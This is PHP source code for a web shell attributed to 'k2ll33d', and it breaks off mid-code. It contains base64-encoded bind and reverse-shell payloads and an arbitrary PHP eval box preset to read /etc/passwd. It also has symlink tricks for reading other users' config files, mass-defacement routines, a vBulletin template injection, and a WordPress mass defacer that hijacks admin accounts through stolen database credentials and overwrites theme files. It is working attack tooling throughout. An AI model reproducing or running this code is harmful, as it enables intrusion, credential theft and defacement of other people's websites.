UvwR1lTu8VPat2E2m3Q/URmtliKL+0jxZ8M53BXeDqP0i3+SZly2jqxJWiKFucjBqS6+NXweuVzb+ObIkdpLe4T/ANCjFYd98avhjAcp40sH9Nscx/klV7al/MvvRxvJM1WjwtT/AMAl/kdRFEAwyMmrSRblOV5NeYX/AO0r8NdJjZz4jF0QOEt7OdmP0+QD8zXmni39uTTLZJIvDfh+4vJei3GpOIkHvsUsT+YqXiKUftHTQ4dzbES5Y4eS/wAS5V/5NY+mPIw3zcDrmvJPid+0t4P+HHm2sM/9vawmR9jsnBVD/tydF+gyfavkbx9+0H44+IayQ3+rvaWL9bKwHkxEehwct/wImvN+a4qmMb0po+/yzgVRaqZjO/8Adj+r/wAvvO9+KXxu8T/Fi7P9qXf2fTVbMWmWxKwp6Ej+Nvds+2K8+2gfWpccUxhj3rz3Jyd5H6hQwtHCU1SoRUYrohnT3oIGKRjTCaRTaQu2mkkUu6kJ4NUjJtdAzRnNRtnmmEkCgxc7E/8AKlqt5rDvR9pYe9OzJ9tFblgsc07eRVT7WR2o+2f7NFh+3gupb85l70ouWB5qn9uH92j7aCPu0uXyD61H+Yu/bD60jXrfjVL7YOuyka99FFHJ5A8Yv5i4bqQjAprNK3U4qmb2QjjAqF5pH6sarlMJYtd2y5I4T7z1Vku1H3RmoShbrSGGrUUcFSvUl8KsMkmeTvgVGsZNWBBUiw+lXdI4/ZSm7yKgiJ7VKtvnrVtLcntVmO16cVDmddPBuXQpR2ue1WIrXnpV9bcKOBShAO1ZOdz1qeCUbXIFgC9qKnbAGaKVzr5IrQgWLuamRFFVhNmlM9OxlGcI6lsOqjigy1S83Jp28mpsafWOxaM1J5tQrk0oFOxXtJMlEmacGzTAuakCUtDWPMwGaeqkmlSPPSrMcJNQ3Y7KdNyIglTJEWq1HbDHIq1Fa+1ZOVj16WDcinHbZxxV62tQMZFTLABjtVhVCisnK57dDCRi7sjKhBVSd8nFWJ5doNVMGRqSKry+zESNOSx6Cp4I/NfdjimOMARj8av28YjQUNioUuaVuiHnEa1hatd8EA1o39yI0NczczGWQ81dON3c481xahH2USNfnarSrtFRQR55qzjiuhs+ZowdrsZwoyelVnbc2almbJx2qFqETVd9EA5qWMYqMDvUy8ChkQWtxp60qjBzSYzSrmg0W5KvJqxEuDUCCrcY4FZs9Girst2pIYCtJORWZCdrZrQibIrCR9PhJWVmTbRSeWpoDU4EVmeokmMMCNwVFRSaZBJ1QVZBpc07sTpU5r3kmZU3h+JvuErWfcaDPHyuHFdMGpetWqkkcFXKsLV2VvQ4qS3lhOGQr+FQsK7iSCOUYZQazbrQYpQSnyN7Vqqq6nh4jJKkVek7nKOKjNat7pM1qfu7l9RWayHJ4roUk9UfK16FSlLlmrMgbINNLE1KwOMVEyEVZ50k0NLU0nvQRzSYNM522xrmoicVKwqMjmqRzTuNzmg0uDS7aoxs2MxxS7ak2U4IKVy1TZDtNGzmrATNOCZ7UuY0VG5XEeTTxCTVlYqlEBx0zScjohhrlMQ07yM9qvLbE9qnjtCe1Q5HZDBuXQzFtSSOMVYS05rQFqakEGO1Q5nbDAJboorAF7VMkftVkRn0prLjmpudioKJCVx1NMYgDNLK3Wq0rlx6VSVzmqTUdiK4uMUVXljZuxNFbJI8KpUqOWgbfanBDV37KfSnC3A7VHMjrjhZdSokWalWL2qyIgO1PWKk5HXDDWIFip6xfnVgQ1IsdQ5HbCgQJCTU0cJ9KnSPParUUHtWbkejSwtyCG2z2q5FbYHSrMNvwPSrKx4rFyPoaGDUUQxwgDkVKIwKftxSn2qLnqRpqKGhQKY7AA052wKrSuTQiKklFaEErb2xTkXy03GhI9zZpJW3uEWq8jzbW95j7WPzJN5q5NII0NJCnlRiszU7wICAaLczOqU1haPNLcoandlmIBzWdEpZqWRjK+TVi2iz2rqS5VY+GnKWJq8zJYo8CiZwowKlYiNapsSxJqVqdVR+zjyrcYaOKPrS4rQ4BVGaecGmjjFOAqWax7CYFPAxSDmnCkaRQ9BVqLjFV0FWYxUM9GiizEOatIcVVj4qdTWLPdpOyLCmnqagBqRTipO+MiUGlzUW73oL0rG3OibNKGqANTg+aLFKoifdSg5qEHNSLSN4yuOZQ4wQCKzb3QobnJUbG9q0xRTTa2M61CliI8tSNzj7vQ57fJC7h6is14WXggg16CcEc1UuLGCf70Y+tbxrPqfL4nIIPWjK3kzhDFg0wx+1dbNoELE7CVqlLoDqTtwwrZVUz52rk2Ip9L+hzxj56UnkZNbD6W6HlCKjaxIxkVfOjzpYCoviRlmE+lHlVpfYjnGKQ2TelPmRn9TkuhniL1pwiq/9iIpwsietHMi1g59igI6kWI+laCWPtzViOxJ7VLmdlPAzfQz4bbdVyKzBq6tmQMgVOlq1YuZ7NHAcu6KiWqipBGq9qtramnC0yelRzHpxwrS0RRZPSmlCeAK01sh6U8WY9KXOafUpyMjymYDikNqWHSt0WqjtThbKO1LnNFlt92c6dLaQ9DmnJohY8iujEQHanbQKPaMpZPR3kYSaAvcZorcZwvtRS55G/wDZ2Ejo4nKlBtpjIKKK6EfJyirDcYpwFFFMySHAYqaJQWooqGdVJaosooq9Cg20UVlI93DJXLSLxT6KKzPcjsIeBTSeKKKBSK8jGqxJLdaKKpHlVdyRj5cRI60lmgZix60UU+gR1qxTJruUxR8Vy95MzyNmiitaSPFzmcrpX0GQqGYZrShUKtFFaSPNwaVrla4kJk21CfSiimjCq25O4neiiimYjsZWnqMCiikbxFp46UUUjVEqc4q0g4oorNnp0SdBxUw6UUVkz14bC5xTgeKKKRqnqBY0m6iigd2NMhp0bEiiimTFvmLS1Kvaiisz14bD6Q8Ciig2I3OKidyKKKaOWo2RGY5xSeaRRRVHA5y7gJN2MgU1lRjygoooQN3WpG9pGx4GKhks1XnNFFNNmM6UGm7EXkqKd5IxRRVXZxRhHsTw264z1qysCkCiioPSpQjZaEgiAp4jGKKKk9CMV2HBBmnBAKKKRtFIcFFKFxRRQWkLik70UUDELVFK5UE0UUGFRtIzLu7cKccUUUV0RSsfIYmrP2m5/9k=';
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
?><html><head><link href='data:image/x-icon;<?php echo $tunisia;?>' rel='icon' type='image/x-icon' /><title>:: k2ll33d ::</title>
<link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'>
<script type="text/javascript">
function tukar(lama,baru){document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';}
</script><link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'><style>
.mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #4C83AF; padding:4px 2px;width:70%;line-height:24px;}.myboxtbl{ width:50%; }body{background:#010101;} a {text-decoration:none;} hr, a:hover{border-bottom:1px solid #4C83AF;} *{text-shadow: 0pt 0pt 0.3em rgb(153, 153, 153);font-size:11px;font-family:Tahoma,Verdana,Arial;color:#FFFFFF;} .tabnet{margin:15px auto 0 auto;border: 1px solid #333333;} .main {width:100%;} .gaya {color: #888888;} .top{border-LEFT:1px solid #ffffff;border-RIGHT:1px solid #ffffff;font-family:verdana;}input{background:#111111;border:1;padding:2px;border-bottom:1px solid #222222;border-top:1px solid #222222;font-size:12px;vertical-align:middle;height:20;border-left:1px solid #5d5d5d;border-right:1px solid #121212;border-bottom:1px solid #121212;border-top:1px solid #5d5d5d;color:#9f9f9f;}  .inputz{  background:#111111; border:0; padding:2px; border-bottom:1px solid #393939; font-size:11px; color:#ffffff; -moz-border-radius: 6px; border-radius: 10px; border:1px solid #4C83AF;margin:4px 0 8px 0;} .inputzbut{background:#111111;color:#8f8f8f;margin:0 4px;border:1px solid #444444;}  .inputzbut:hover{border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.inputz:hover{ -moz-border-radius: 6px; border-radius: 10px; border:1px solid #4C83AF;margin:4px 0 8px 0;border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.output2 {margin:auto;border:1px solid #888888;background:#000000;padding:0 2px;} textarea{margin:auto;border:2px solid #555555;background:#000000;padding:0 2px;} .output {margin:auto;border:1px solid #303030;width:100%;height:400px;background:#000000;padding:0 2px;} .cmdbox{width:100%;}.head_info{padding: 0 4px;} .b1{font-size:30px;padding:0;color:#555555;} .b2{font-size:30px;padding:0;color:#800000;} .b_tbl{text-align:center;margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333333;} .phpinfo table{width:100%;padding:0 0 0 0;} .phpinfo td{background:#111111;color:#cccccc;padding:6px 8px;;} .phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;} .phpinfo h2, .phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;} .explore{width:100%;} .explore a {text-decoration:none;} .explore td{border-bottom:1px solid #333333;padding:0 8px;line-height:24px;color:#999999;} .explore th{padding:3px 8px;font-weight:normal;color:#999999;} .explore th:hover , .phpinfo th:hover{border-bottom:1px solid red;} .explore tr:hover{background:#333333;} .viewfile{background:#EDECEB;color:#000000;margin:4px 2px;padding:8px;} .sembunyi{display:none;padding:0;margin:0;} #menu{font-family:orbitron;background: #111111;margin:5px 2px 4px 2px;} #menu a{text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;font-family:orbitron;padding:4px 6px;margin:0;background:#666666;text-decoration:none;letter-spacing:1px;color:#ffffff;} #menu a:hover{font-family:orbitron;background:#191919;border-bottom:1px solid #444444;border-top:1px solid #444444;color:#cecece;}k, k a, k a:hover{text-shadow: 0pt 0pt 0.3em red;font-family:orbitron;font-size:25px;color:#ffffff;}</style><body onLoad="document.getElementById('cmd').focus();"><div class="main"><div class="head_info"> <table><tr><td width="15%"><table class="b_tbl">
<?php echo (base64_decode('PGgxPjxhPmsgMiBsIGwgMyAzIGQmbmJzcDsmbmJzcDtTIGggZSBsIGw8L2E+PC9oMT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs='));?><div id="menu"><a href="?<?php echo "y=".$pwd;?>&amp;x=about">About Me</a></div>
</td></tr></table></td><td class="top" width='60%'><?php echo $buff;?></td>&nbsp;&nbsp;<td style="width:30%;"><a>server ip :<?php echo $server_ip."<font color='red'><br><br></font> your ip : ".$my_ip."<br></a>";?><br><div id="menu"><a href="?">Home</a></div></td></tr></table></div>
<div id="menu"><a href="?<?php echo "y=".$pwd;?>">Files</a><a href="?<?php echo "y=".$pwd;?>&amp;x=shell">Shell</a><a href="?<?php echo "y=".$pwd;?>&amp;x=upload">upload</a><a href="?<?php echo "y=".$pwd;?>&amp;x=php">Eval</a><a href="?<?php echo "y=".$pwd;?>&amp;x=sym">Sym</a><a href="?<?php echo "y=".$pwd;?>&amp;x=netsploit">Tools</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mysql">Sql</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mass">Mass</a><a href="?<?php echo "y=".$pwd;?>&amp;x=brute">Brute</a><a href="?<?php echo "y=".$pwd;?>&amp;x=phpinfo">phpinfo</a><a href="?<?php echo "y=".$pwd;?>&amp;x=zone-h">Zone-H</a><a href="?<?php echo "y=".$pwd;?>&amp;x=joomla">Joomla</a><a href="?<?php echo "y=".$pwd;?>&amp;x=wordpress">Wordpress</a><a href="?<?php echo "y=".$pwd;?>&amp;x=vb">Vb</a><a href="?<?php echo "y=".$pwd;?>&amp;x=domains">Domains</a><a href="?<?php echo "y=".$pwd;?>&amp;x=string">String</a><a href="?<?php echo "y=".$pwd;?>&amp;x=wm">Wp Mass</a></div>
<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){?><form action="?y=<?php echo $pwd;?>&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90> 
<?php if(isset($_POST['submitcmd'])) {echo eval(magicboom($_POST['cmd']));}else echo "echo file_get_contents('/etc/passwd');";?></textarea></td></tr><tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> <?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'about')){echo '<center><img class="HoverBorder" alt="" src="data:image/jpeg;'.$tunisia.'" /></center><br><center><k>Web Shell By K2ll33d<br><br><br>Mail:&nbsp;<a href=mailto:k2ll33d@live.fr>k2ll33d [at] live.fr</a><br><br><a href="https://facebook.com/k2ll33d" target="_blank">Facebook</a>&nbsp;<a href="http://zone-h.org/archive/notifier=ReZK2LL" target="_blank">Zone-H</a></k></center>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'sym')){@set_time_limit(0);@mkdir('sym',0777);error_reporting(0);$htaccess  = "Options all \n DirectoryIndex gaza.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$op =@fopen ('sym/.htaccess','w');fwrite($op ,$htaccess);echo '<center><br><br><form method="post"> File Path:<br><input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br><input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></center>';$target = $_POST['file'];$symfile = $_POST['symfile'];$symlink = $_POST['symlink'];if ($symlink) {@symlink("$target","sym/$symfile");echo '<br><center><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a><center>';}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass')){error_reporting(0);?><table><td width="50%"><form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method=post><p align="center"><h2>Folder</h2><input class ='inputz' typ=text name=path size=60 value="<?php echo getcwd();?>"><br><h2>file name</h2><input class ='inputz' typ=text name=file size=60 value="index.php"><br></td><td width="50%"><h3>Index code </h3><textarea class ='inputz' name=index rows=10 cols=40>hacked By ReZK2LL Team</textarea><br></td></p></table><center><br><br><br><input class='inputzbut' type=submit value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form><br><?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb')) {if(empty($_POST['index'])){echo "<center><br><br><FORM method='POST'>host : <INPUT size='15' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='15' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='15' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='15' value='' name='perfix' type='text'><br><textarea class='inputz' name='index' cols='40' rows='10'>Hacked By ReZK2LL Team</textarea><br><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></center>";}else{$localhost = $_POST['localhost'];$database = $_POST['database'];$username = $_POST['username'];$password = $_POST['password'];$perfix = $_POST['perfix'];$index = $_POST['index'];@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$index=str_replace("\'","'",$index);$set_index  = "{\${eval(base64_decode(\'";$set_index .= base64_encode("echo '$index';");$set_index .= "\'))}}{\${exit()}}</textarea>";$ok=@mysql_query("UPDATE ".$perfix."template SET template ='".$set_index."' WHERE title ='FORUMHOME'") or die(mysql_error());if($ok){echo "Defaced<br><br>";}}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'wm')){ini_set("display_errors", "0");set_time_limit(0);@session_start();$base_path = dirname(__FILE__).'/';function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien, $text);$ar1=explode($marqueurFinLien, $ar0[$i]);return trim($ar1[0]);}function randomt() {$chars = "abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);$i = 0;$pass = '';while ($i <= 7) {$num = rand() % 33;$tmp = substr($chars, $num, 1);$pass = $pass . $tmp;$i++;}return $pass;}function index_changer_wp($conf, $content) {$output = '';$dol = '$';$username = entre2v2($conf,"define('DB_USER', '","');");$password = entre2v2($conf,"define('DB_PASSWORD', '","');");$dbname = entre2v2($conf,"define('DB_NAME', '","');");$prefix = entre2v2($conf,$dol."table_prefix  = '","'");$host = entre2v2($conf,"define('DB_HOST', '","');");$link=mysql_connect($host,$username,$password);if($link) {mysql_select_db($dbname,$link) ;$dol = '$';$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'k2',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");} else {$output.= "[-] DB Error<br>";}if($req1) {$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'");$data = mysql_fetch_array($req);$site_url=$data["option_value"];$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='template'");$data = mysql_fetch_array($req);$template = $data["option_value"];$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='current_theme'");$data = mysql_fetch_array($req);$current_theme = $data["option_value"];$useragent="Mozilla/4.0 (compatible;MSIE 7.0b;Windows NT 5.1;.NET CLR 1.1.4322;Alexa Toolbar;.NET CLR 2.0.50727)";$url2=$site_url."/wp-login.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"log=k2&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);$pos = strpos($buffer,"action=logout");if($pos === false) {$output.= "[-] Successful Login<br>";} else {$output.= "[+] Successful Login<br>";}$url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"/index.php") != 0){$output.= "[+] index.php Opened<br>";}else {$output.= "[-] index.php Unable to open<br>";}$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$content."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');$cond = 0;if($pos === false){$output.= "[-] index.php Failed<br>";} else {$output.= "[+] index.php Failed+<br>";$cond = 1;}} else {$output.= "[-] DB Error<br>";}global $base_path;unlink($base_path.'COOKIE.txt');return array('cond'=>$cond, 'output'=>$output);}function exec_mode_1($def_url) {@mkdir('sym',0777);$wr  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$fp = @fopen ('sym/.htaccess','w');fwrite($fp, $wr);@symlink('/','sym/root');$dominios = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);$out[1] = array_unique($out[1]);$numero_dominios = count($out[1]);echo "Total Websites: $numero_dominios <br><br>";$def = file_get_contents($def_url);$def = urlencode($def);$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';$output = fopen('defaced.html', 'a+');$_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;$_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Script</th><th>Process</th><th>Results</th></tr>';$j = 1;$st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;for($i = $st;$i <= $numero_dominios;$i++){$domain = $out[1][$i];$dono_arquivo = @fileowner("/etc/valiases/".$domain);$infos = @posix_getpwuid($dono_arquivo);$config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']){echo '<td align="center"><span class="green">HACKED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="red">unsuccessful</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Deface = '.($_SESSION['count1']+$_SESSION['count2']).'<br>';echo '<a href="defaced.html" target="_blank">List Websites Defaced</a><br>';}echo '<head><p><h2 style="color:#FF0000;text-align: center;font-family:orbitron;font-size:25px;">Wordpress Mass Defacer</h2><link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css"><style type="text/css">body {color: white;font-family: "orbitron";}.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}</style></p><script type="text/javascript">function change() {if(document.getElementById(\'rcd\').checked == true) {document.getElementById(\'tra\').style.display = \'\';} else {document.getElementById(\'tra\').style.display = \'none\';} }function hide() {document.getElementById(\'tra\').style.display = \'none\';}</script></head><body><div class="footer"><a href="https://facebook.com/k2ll33d" target="_blank"><h3 style="text-align: center;">'.base64_decode('azJsbDMzZA==').'</h3></a></div><div>';if(!isset($_POST['form_action'])){echo '<div align="center"><center><img class="HoverBorder" alt="" src="data:image/jpeg;'.$tunisia.'" /></center><form action="" method="post"><input type="hidden" name="form_action" value="1"><br>index url:<input class="inputz" type="text" name="indexadresi" size="30" value="http://site.com/index.html" /><br><br><input class="inputzbut" type="submit" value="Deface" name="Submit"></form> </div>';}echo '<div align="center">';if($_POST['form_action'] == 1) {exec_mode_1($_POST['indexadresi']);}echo '</div></div></body></html>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){$defacer='ReZK2LL';$display_details=0;$method=14;$reason=5;
error_reporting(0);set_time_limit(0);if(!function_exists('curl_init')){echo "CURL ERROR\n";exit;}$cli=(isset($argv[0]))?1:0;if($cli==1){$file=$argv[1];$sites=file($file);if(!file_exists($file)){echo "<br><br><center><h1>error !</h1></center>\n";exit;}}else{if(function_exists(apache_setenv)){@apache_setenv('no-gzip', 1);}@ini_set('zlib.output_compression', 0);@ini_set('implicit_flush', 1);@ob_implicit_flush(true);@ob_end_flush();if(isset($_POST['domains'])){$sites=explode("\n",$_POST['domains']);}if (file_exists($_FILES["file"]["tmp_name"])){$file=$_FILES["file"]["tmp_name"];$sites=file($file);}
echo <<<EOF
<div align="center"><table width="67%"><tr><td align=center></td></tr></table><br><pre>
EOF;
if(!isset($_POST['defacer'])){
echo <<<EOF
<form enctype="multipart/form-data" method="POST"><div align='center'><span lang='en-us'><b>Defacer&nbsp;:</b></span><input class='inputz' name="defacer" type="text" value="$defacer" /><br/><table width='55%'><tr><td align='center'><span lang='en-us'><b>Domains:</b></span><p align='center'>&nbsp;<textarea rows='30' name='domains' cols='50' class='inputz'></textarea><br/><span lang='en-us'><b>OR</b></span><br/>Submit form .txt file:<br/><input name="file" type="file" /><br><br/><br/><input class='inputzbut' type='submit' value='    Send    ' name='submit'></p></td></tr></table></form>
EOF;
}
$defacer=$_POST['defacer'];}if(!$sites){echo '</pre>';exit;}$sites=array_unique(str_replace('http://','',$sites));$total=count($sites);echo "[+] Total unique domain: $total\n\n";$pause=10;$start=time();$main=curl_multi_init();for($m=0;$m<3;$m++){$http[] = curl_init();}for($n=0;$n<$total;$n +=30){if($display_details==1){for($x=0;$x<30;$x++){echo'[+] Adding '.rtrim($sites[$n+$x]).'';echo "\n";}}$d=$n+30;if($d>$total){$d=$total;}echo "=====================>[$d/$total]\n";for($w=0;$w<3;$w++){$p=$w * 10;
